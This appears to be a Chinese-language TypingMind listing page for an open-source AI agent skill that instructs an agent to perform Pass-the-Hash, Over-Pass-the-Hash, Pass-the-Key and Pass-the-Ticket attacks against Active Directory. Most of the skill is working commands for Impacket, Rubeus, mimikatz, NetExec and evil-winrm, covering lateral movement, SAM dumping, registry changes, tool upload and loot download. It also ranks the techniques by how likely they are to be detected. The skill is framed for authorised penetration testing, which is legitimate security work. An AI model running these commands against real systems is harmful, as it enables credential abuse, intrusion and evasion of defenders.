Pass The Hash 标志

Pass The Hash

组织
blacklanternsecurity
pass-the-hash

无需破解密码,即可使用 NTLM 哈希、AES 密钥或 Kerberos 票据向 AD 服务进行身份验证。涵盖 Pass-the-Hash、Over-Pass-the-Hash、Pass-the-Key 和 Pass-the-Ticket,用于横向移动。

Add to TypingMind

概览

发布者blacklanternsecurity
代码仓库red-run
技能名称pass-the-hash
星标数
276
复刻数
39
附带文件
仅含指令
许可协议GPL-3.0
链接
  • Markdown 格式的指令

    模型按需加载 SKILL.md 文件,因此只有在请求确实与该技能匹配时才会消耗 Token。

  • 兼容任何大语言模型

    AI 技能采用纯 Markdown,而非特定提供商的代码,因此可搭配 GPT、Claude、Gemini、Grok 或本地模型使用。

  • 指令自成一体

    模型所需的一切都包含在指令中,无需同步额外文件。

  • 开源

    由 blacklanternsecurity 发布于 GitHub。请在安装前查看技能的源文件。

安装

在 TypingMind 中安装 Pass The Hash AI 技能,即可搭配任意大语言模型使用;也可以将其放入其他支持读取 SKILL.md 的智能体中。

1

安装到 TypingMind

TypingMind 可直接从 GitHub 文件夹安装技能:读取 SKILL.md,打包资源文件,并将结果保存在本地。

  1. 打开应用,前往“插件 → 技能”。
  2. 选择“从 GitHub 安装”。
  3. 粘贴下方的技能文件夹 URL 并确认。
    https://github.com/blacklanternsecurity/red-run/tree/main/skills/ad/pass-the-hash
  4. 请在每个需要使用该技能的聊天中启用它。
依次选择“插件 → 技能 → 添加技能 → 从 GitHub URL 导入”,然后粘贴文件夹 URL 并点击“继续”。
2

安装到其他智能体

任何支持 Agent Skills 格式的智能体都可以使用此技能,只需将文件夹复制到该智能体的技能目录中。

Claude Code — .claude/skills
git clone --depth 1 https://github.com/blacklanternsecurity/red-run.git /tmp/red-run
mkdir -p .claude/skills
cp -r /tmp/red-run/skills/ad/pass-the-hash .claude/skills/pass-the-hash
复制后,请重启 Claude Code,以加载新技能。

在 TypingMind 中使用此技能

在任意 TypingMind 聊天中启用 Pass The Hash,后续即可交由模型处理。技能的名称和描述会放在系统提示词中,一旦请求匹配,模型就会自动加载完整指令,无需您手动调用,且在实际使用前不会消耗 Token。

一旦请求与技能匹配,模型就会自动加载 Pass The Hash。

兼容任何 AI 模型

AI 技能是纯 Markdown 指令,而非特定提供商的代码,因此 Pass The Hash 不局限于最初适配的模型。只需在 TypingMind 中安装一次,即可搭配 GPT-5、Claude、Gemini、Grok、DeepSeek、Mistral、Llama 或您自行运行的本地模型使用,全程使用您自己的 API 密钥。

  • 仅在需要时加载

    系统提示词中仅包含技能名称和描述。首次遇到匹配的请求时才会加载完整指令,因此技能未使用时,这些指令不会消耗 Token。

  • 在聊天中切换模型

    技能是指令而非代码,因此切换模型不会导致技能失效,新模型会读取同一个 SKILL.md。

技能指令

这是模型会加载的 SKILL.md 内容。请在安装前阅读,因为技能就是模型将遵循的指令。

Pass the Hash / Over-Pass-the-Hash / Pass the Key / Pass the Ticket

You are helping a penetration tester use credential material (NTLM hashes, AES keys, or Kerberos tickets) for lateral movement without knowing cleartext passwords. All testing is under explicit written authorization.

Kerberos-first authentication: This skill defaults to converting credential material into Kerberos tickets (Over-Pass-the-Hash / Pass-the-Key) rather than using NTLM directly. Direct Pass-the-Hash is the last resort due to heavy detection (Event 4776, CrowdStrike Identity Module PTH signatures).

Engagement Logging

Check for ./engagement/ directory. If absent, proceed without logging.

When an engagement directory exists:

  • Print [pass-the-hash] Activated → <target> to the screen on activation.
  • Evidence → save significant output to engagement/evidence/ with descriptive filenames (e.g., sqli-users-dump.txt, ssrf-aws-creds.json).

State Management

Call get_state_summary() from the state MCP server to read current engagement state. Use it to:

  • Skip re-testing targets, parameters, or vulns already confirmed
  • Leverage existing credentials or access for this technique
  • Understand what's been tried and failed (check Blocked section)

Your return summary must include:

  • New targets/hosts discovered (with ports and services)
  • New credentials or tokens found
  • Access gained or changed (user, privilege level, method)
  • Vulnerabilities confirmed (with status and severity)
  • Pivot paths identified (what leads where)
  • Blocked items (what failed and why, whether retryable)

Prerequisites

  • Credential material: NTLM hash, AES128/AES256 key, or Kerberos ticket (.ccache/.kirbi)
  • Network access to target host(s)
  • Tools: Impacket suite, netexec (nxc), optionally Rubeus, mimikatz, evil-winrm

Kerberos-first workflow (default for all techniques):

bash
# Convert hash/key to TGT first, then use Kerberos for everything
getTGT.py DOMAIN/user@DC.DOMAIN.LOCAL -hashes :NTHASH
# or with AES key (most OPSEC-safe)
getTGT.py DOMAIN/user@DC.DOMAIN.LOCAL -aesKey AES256_KEY

export KRB5CCNAME=user.ccache

# All lateral movement uses -k -no-pass from here
psexec.py DOMAIN/user@TARGET.DOMAIN.LOCAL -k -no-pass

Step 1: Assess Credential Material

Determine what you have and choose the appropriate technique:

MaterialTechniqueOPSECGo To
AES256 keyPass-the-KeyLOW — matches normal KerberosStep 2
AES128 keyPass-the-KeyLOW — matches normal KerberosStep 2
NTLM hashOver-Pass-the-HashMEDIUM — RC4 etype is anomalousStep 3
.ccache / .kirbi ticketPass-the-TicketLOW — reusing real ticketStep 4
NTLM hash + no KerberosDirect Pass-the-HashHIGH — NTLM auth, heavily monitoredStep 5

Always prefer AES keys > tickets > OPTH > direct PTH.

Step 2: Pass-the-Key (AES — Most OPSEC-Safe)

Use AES keys to request a TGT. This generates Event 4768 with encryption type 0x12 (AES256) or 0x11 (AES128) — indistinguishable from normal Windows authentication.

Impacket (Linux)

bash
# AES256 key -> TGT
getTGT.py DOMAIN/user@DC.DOMAIN.LOCAL \
  -aesKey 2ef70e1ff0d18df08df04f272df3f9f93b707e89bdefb95039cddbadb7c6c574

export KRB5CCNAME=user.ccache

# Now use Kerberos auth for lateral movement
psexec.py DOMAIN/user@TARGET.DOMAIN.LOCAL -k -no-pass
smbexec.py DOMAIN/user@TARGET.DOMAIN.LOCAL -k -no-pass
wmiexec.py DOMAIN/user@TARGET.DOMAIN.LOCAL -k -no-pass

Rubeus (Windows)

powershell
# AES256 with /opsec flag — mimics legitimate Windows behavior
.\Rubeus.exe asktgt /user:Administrator /domain:DOMAIN.LOCAL \
  /aes256:2ef70e1ff0d18df08df04f272df3f9f93b707e89bdefb95039cddbadb7c6c574 \
  /opsec /ptt /nowrap

# AES128
.\Rubeus.exe asktgt /user:Administrator /domain:DOMAIN.LOCAL \
  /aes128:bc09f84dcb4eabccb981a9f265035a72 /ptt /nowrap

# Verify ticket is loaded
klist

Step 3: Over-Pass-the-Hash (NTLM -> Kerberos TGT)

Convert an NTLM hash into a Kerberos TGT. The TGT request uses RC4 encryption (etype 23), which is anomalous in AES-hardened domains but still better than direct NTLM authentication.

Impacket (Linux) — Preferred

bash
# NTLM hash -> TGT
getTGT.py DOMAIN/user@DC.DOMAIN.LOCAL -hashes :NTHASH

# Full LM:NT format also works
getTGT.py DOMAIN/user@DC.DOMAIN.LOCAL \
  -hashes aad3b435b51404eeaad3b435b51404ee:NTHASH

export KRB5CCNAME=user.ccache

# Verify ticket
klist -c user.ccache

# Lateral movement via Kerberos
psexec.py DOMAIN/user@TARGET.DOMAIN.LOCAL -k -no-pass
smbexec.py DOMAIN/user@TARGET.DOMAIN.LOCAL -k -no-pass
wmiexec.py DOMAIN/user@TARGET.DOMAIN.LOCAL -k -no-pass

Alternative: ktutil + kinit (Native Kerberos)

bash
ktutil -k ~/mykeys add -p user@DOMAIN.LOCAL -e arcfour-hmac-md5 \
  -w NTHASH --hex -V 5
kinit -t ~/mykeys user@DOMAIN.LOCAL
klist

Rubeus (Windows)

powershell
# NTLM hash -> TGT injected into current session
.\Rubeus.exe asktgt /user:Administrator /domain:DOMAIN.LOCAL \
  /rc4:NTHASH /ptt /nowrap

# Create sacrificial process with the ticket (avoids overwriting current TGT)
.\Rubeus.exe asktgt /user:Administrator /domain:DOMAIN.LOCAL \
  /rc4:NTHASH /createnetonly:C:\Windows\System32\cmd.exe /show

# Then lateral movement
.\PsExec.exe -accepteula \\TARGET.DOMAIN.LOCAL cmd

Mimikatz (Windows)

# Spawns a new process with the hash injected
sekurlsa::pth /user:Administrator /domain:DOMAIN.LOCAL /ntlm:NTHASH

OPSEC Note

Over-Pass-the-Hash generates Event 4768 with encryption type 0x17 (RC4). In domains where AES is enforced, RC4 TGT requests are a high-fidelity detection indicator. If AES keys are available, use Pass-the-Key (Step 2) instead.

Step 4: Pass-the-Ticket (Inject Existing Ticket)

Use when you have a stolen or forged Kerberos ticket (.ccache or .kirbi).

Ticket Format Conversion

bash
# ccache -> kirbi (for use on Windows)
python ticket_converter.py user.ccache user.kirbi

# kirbi -> ccache (for use on Linux)
python ticket_converter.py user.kirbi user.ccache

# Impacket ticketConverter
ticketConverter.py user.kirbi user.ccache
ticketConverter.py user.ccache user.kirbi

Linux — ccache

bash
# Set the ccache file
export KRB5CCNAME=/path/to/ticket.ccache

# Verify
klist

# Use with any Kerberos-aware tool
psexec.py DOMAIN/user@TARGET.DOMAIN.LOCAL -k -no-pass
smbexec.py DOMAIN/user@TARGET.DOMAIN.LOCAL -k -no-pass
wmiexec.py DOMAIN/user@TARGET.DOMAIN.LOCAL -k -no-pass

# NetExec
nxc smb TARGET.DOMAIN.LOCAL --use-kcache -x "whoami"

Windows — kirbi

powershell
# Rubeus — inject ticket
.\Rubeus.exe ptt /ticket:user.kirbi

# Mimikatz — inject ticket
kerberos::ptt user.kirbi

# Verify
klist

# Lateral movement
.\PsExec.exe -accepteula \\TARGET.DOMAIN.LOCAL cmd
dir \\TARGET.DOMAIN.LOCAL\C$

OPSEC Note

Pass-the-Ticket is pure Kerberos and avoids NTLM detection entirely. It's hard to detect because you're reusing a legitimate ticket. The main risk is that the ticket may be logged as coming from an unexpected source IP.

Step 5: Direct Pass-the-Hash (NTLM — Last Resort)

Use only when Kerberos is unavailable (e.g., no access to port 88, target not joined to domain, or NTLM-only service). This triggers Event 4776 and CrowdStrike Identity Module PTH signatures.

NetExec

bash
# SMB with NTLM hash
nxc smb TARGET -u Administrator -H 'aad3b435b51404ee:NTHASH' -d DOMAIN.LOCAL -x "whoami"

# Check for local admin (Pwn3d!)
nxc smb 10.10.10.0/24 -u Administrator -H ':NTHASH' -d DOMAIN.LOCAL

# Local authentication (non-domain)
nxc smb TARGET -u Administrator -H ':NTHASH' --local-auth

Impacket (Direct Hash Auth)

bash
# psexec — creates a service (noisy)
psexec.py DOMAIN/Administrator@TARGET -hashes :NTHASH

# smbexec — creates a service (slightly less noisy)
smbexec.py DOMAIN/Administrator@TARGET -hashes :NTHASH

# wmiexec — WMI-based (less artifacts)
wmiexec.py DOMAIN/Administrator@TARGET -hashes :NTHASH

# atexec — Task Scheduler
atexec.py DOMAIN/Administrator@TARGET -hashes :NTHASH 'whoami'

# dcomexec — DCOM objects
dcomexec.py DOMAIN/Administrator@TARGET -hashes :NTHASH

Mimikatz (Spawn Process)

# Spawns cmd.exe with NTLM hash injected into logon session
sekurlsa::pth /user:Administrator /domain:DOMAIN.LOCAL /ntlm:NTHASH

PTH for RDP (Restricted Admin Mode)

# Mimikatz — RDP with hash (target must have RestrictedAdmin enabled)
sekurlsa::pth /user:Administrator /domain:DOMAIN.LOCAL /ntlm:NTHASH /run:"mstsc.exe /restrictedadmin"
bash
# Enable Restricted Admin remotely (requires admin access)
nxc smb TARGET -u Administrator -H ':NTHASH' -x 'reg add "HKLM\System\CurrentControlSet\Control\Lsa" /v DisableRestrictedAdmin /t REG_DWORD /d 0 /f'

# Then connect with xfreerdp
xfreerdp /u:Administrator /pth:NTHASH /v:TARGET /d:DOMAIN.LOCAL

OPSEC Warning

Direct PTH is the most detectable technique:

  • Event 4776 (NTLM credential validation)
  • Event 4624 type 3 (network logon)
  • CrowdStrike Identity Module flags PTH patterns
  • psexec creates a service (Event 7045) — very noisy
  • Prefer wmiexec over psexec if you must use NTLM

Step 6: Lateral Movement

After establishing authentication (via any method above), use these tools for command execution and access.

Impacket Suite (All support -k -no-pass and -hashes)

ToolProtocolNoise LevelNotes
psexec.pySMB (service)HighCreates/starts a service
smbexec.pySMB (service)HighSimilar to psexec
wmiexec.pyWMI/DCOMMediumNo service creation
atexec.pyTask SchedulerMediumCreates scheduled task
dcomexec.pyDCOMMediumVarious DCOM objects
bash
# Preferred: wmiexec with Kerberos (lowest noise)
wmiexec.py DOMAIN/user@TARGET.DOMAIN.LOCAL -k -no-pass

# Semi-interactive shell
smbexec.py DOMAIN/user@TARGET.DOMAIN.LOCAL -k -no-pass

# Execute single command
atexec.py DOMAIN/user@TARGET.DOMAIN.LOCAL -k -no-pass 'whoami /all'

NetExec (Multi-Purpose)

bash
# Command execution
nxc smb TARGET.DOMAIN.LOCAL --use-kcache -x "whoami"

# Module execution
nxc smb TARGET.DOMAIN.LOCAL --use-kcache -M mimikatz

# SAM dump (if local admin)
nxc smb TARGET.DOMAIN.LOCAL --use-kcache --sam

# Share enumeration
nxc smb TARGET.DOMAIN.LOCAL --use-kcache --shares

Evil-WinRM (WinRM Shell — Port 5985/5986)

bash
# With password
evil-winrm -i TARGET.DOMAIN.LOCAL -u Administrator -p 'Password123'

# With hash
evil-winrm -i TARGET.DOMAIN.LOCAL -u Administrator -H NTHASH

Via start_process (preferred for persistent sessions):

python
# Spawn evil-winrm in a persistent PTY
start_process(command="evil-winrm -i TARGET -u Administrator -H NTHASH", label="ewrm-target")

# Interact via send_command
send_command(session_id=..., command="whoami")

File transfer via evil-winrm (preferred on Windows): Evil-WinRM's built-in upload and download commands are more reliable than SMB file transfer for moving tools, scripts, and loot to/from Windows targets:

# Upload tools to target
send_command(session_id=..., command="upload /opt/tools/SharpHound.exe C:\\Windows\\Temp\\SharpHound.exe")

# Download loot
send_command(session_id=..., command="download C:\\Users\\Administrator\\Desktop\\root.txt ./root.txt")

Impacket via start_process

For interactive Impacket shells (psexec.py, wmiexec.py, smbexec.py), use start_process to maintain session persistence:

python
# Interactive psexec shell (port 445)
start_process(command="psexec.py DOMAIN/user@TARGET -k -no-pass", label="psexec-target")

# Interactive wmiexec shell (port 135 — less noisy)
start_process(command="wmiexec.py DOMAIN/user@TARGET -k -no-pass", label="wmiexec-target")

# With hash directly
start_process(command="wmiexec.py DOMAIN/Administrator@TARGET -hashes :NTHASH", label="wmiexec-target")

Verify Access

bash
# Check what you can access
nxc smb 10.10.10.0/24 --use-kcache
# (Pwn3d!) = local admin

# List shares
nxc smb TARGET.DOMAIN.LOCAL --use-kcache --shares

# Check who you are
wmiexec.py DOMAIN/user@TARGET.DOMAIN.LOCAL -k -no-pass 'whoami /all'

Step 7: Escalate or Pivot

STOP and return to the orchestrator with:

  • What was achieved (RCE, creds, file read, etc.)
  • New credentials, access, or pivot paths discovered
  • Context for next steps (platform, access method, working payloads)

Troubleshooting

KRB_AP_ERR_SKEW (Clock Skew)

Kerberos requires clocks within 5 minutes of the DC. This is a Clock Skew Interrupt — stop immediately and return to the orchestrator. Do not retry or fall back to NTLM. The fix requires root:

bash
sudo ntpdate DC_IP
# or
sudo rdate -n DC_IP

KDC Cannot Find the Name / PyAsn1Error

  • Use FQDN hostnames, not IP addresses. Kerberos requires proper DNS.
  • Add entries to /etc/hosts if DNS doesn't resolve:
    10.10.10.10  DC01.DOMAIN.LOCAL DOMAIN.LOCAL
  • Update Impacket if you see PyAsn1Error — older versions have encoding bugs.

PTH Fails with STATUS_LOGON_FAILURE

  • Verify the hash is correct (try against the source machine first)
  • Since Windows Vista, PTH to local admin accounts is blocked unless the account is the builtin RID 500 Administrator (UAC remote restriction)
  • Try --local-auth with NetExec for local accounts
  • Non-RID-500 local admins need the LocalAccountTokenFilterPolicy registry key set to 1

Ticket Expired

  • Kerberos TGTs have a default lifetime of 10 hours
  • Re-request with getTGT.py if expired
  • Check with klist -c ticket.ccache to see expiration

Evil-WinRM Connection Refused

  • Port 5985 (HTTP) or 5986 (HTTPS) must be open
  • WinRM may not be enabled on all hosts
  • Try nxc winrm TARGET to check availability first

OPSEC Comparison Summary

TechniqueAuth ProtocolDetection EventEDR Risk
Pass-the-Key (AES256)Kerberos4768 (etype 0x12)LOW
Pass-the-TicketKerberos— (reuse existing)LOW
Over-Pass-the-Hash (RC4)Kerberos4768 (etype 0x17)MEDIUM
Direct PTHNTLM4776, 4624 type 3HIGH
psexec lateralSMB7045 (service created)VERY HIGH
wmiexec lateralWMI/DCOM4688 (process created)MEDIUM

常见问题

Pass The Hash AI 技能有什么作用?

无需破解密码,即可使用 NTLM 哈希、AES 密钥或 Kerberos 票据向 AD 服务进行身份验证。涵盖 Pass-the-Hash、Over-Pass-the-Hash、Pass-the-Key 和 Pass-the-Ticket,用于横向移动。

为什么在 TypingMind 中使用 Pass The Hash?

因为您只需安装一次,就能搭配任何模型使用。Pass The Hash 采用纯 Markdown 格式,而非特定提供商专用的代码,因此同一技能可用于 GPT-5、Claude、Gemini、Grok 或本地模型。您甚至可以在聊天中途切换模型,而不会影响技能的正常使用。TypingMind 使用您自己的 API 密钥,因此您直接向提供商付费,而不是按席位订阅;您的技能和聊天记录也都保留在您自己的存储空间中。

如何在 TypingMind 中安装 Pass The Hash?

在 TypingMind 中打开“插件 → 技能 → 从 GitHub 安装”,然后粘贴 https://github.com/blacklanternsecurity/red-run/tree/main/skills/ad/pass-the-hash。TypingMind 会读取其中的 SKILL.md,并将其安装为技能,供您在各个聊天中按需启用。

哪些 AI 模型可以使用 Pass The Hash?

您在 TypingMind 中连接的任何模型都可以。AI 技能采用纯 Markdown 指令,而非特定提供商专用的代码,因此 GPT、Claude、Gemini、Grok 和本地模型都能在请求匹配时加载此技能。

Pass The Hash 可以搭配多少个 AI 模型使用?

数量不限。只要模型支持技能,您就可以将它与 Pass The Hash 搭配使用。GPT、Claude、Gemini、Grok、DeepSeek、Mistral、Llama 等模型都可以通过您自己的 API 密钥接入 TypingMind。

Pass The Hash AI 技能免费吗?

是的。blacklanternsecurity 已在 GitHub 上根据 GPL-3.0 许可证发布了该技能。您只需向自己的 AI 提供商支付所用 Token 的费用。

什么是 AI 技能?

AI 技能是一组可复用的指令,用于教会 AI 模型完成某项特定任务。它遵循开放的 Agent Skills 格式:包含名称和描述的 SKILL.md 文件,以及模型可能需要的脚本、模板或参考文件。模型仅在您的请求与技能匹配时才会读取这些指令,因此已安装的技能在使用前不会产生任何费用。

AI 技能与插件或 MCP 服务器有何不同?

插件或 MCP 服务器为模型提供可调用的新工具,也就是在某处运行并返回结果的代码。AI 技能则为模型提供知识和流程:如何处理任务、遵循哪些步骤,以及怎样的输出才算优质。技能采用纯 Markdown 格式,因此不需要服务器、API 密钥或运行时环境,并且适用于任何模型。

查看全部

立即创建您自己的 AI 工作区

订阅我们的电子简报,获取新功能和后续赠奖活动的通知 👇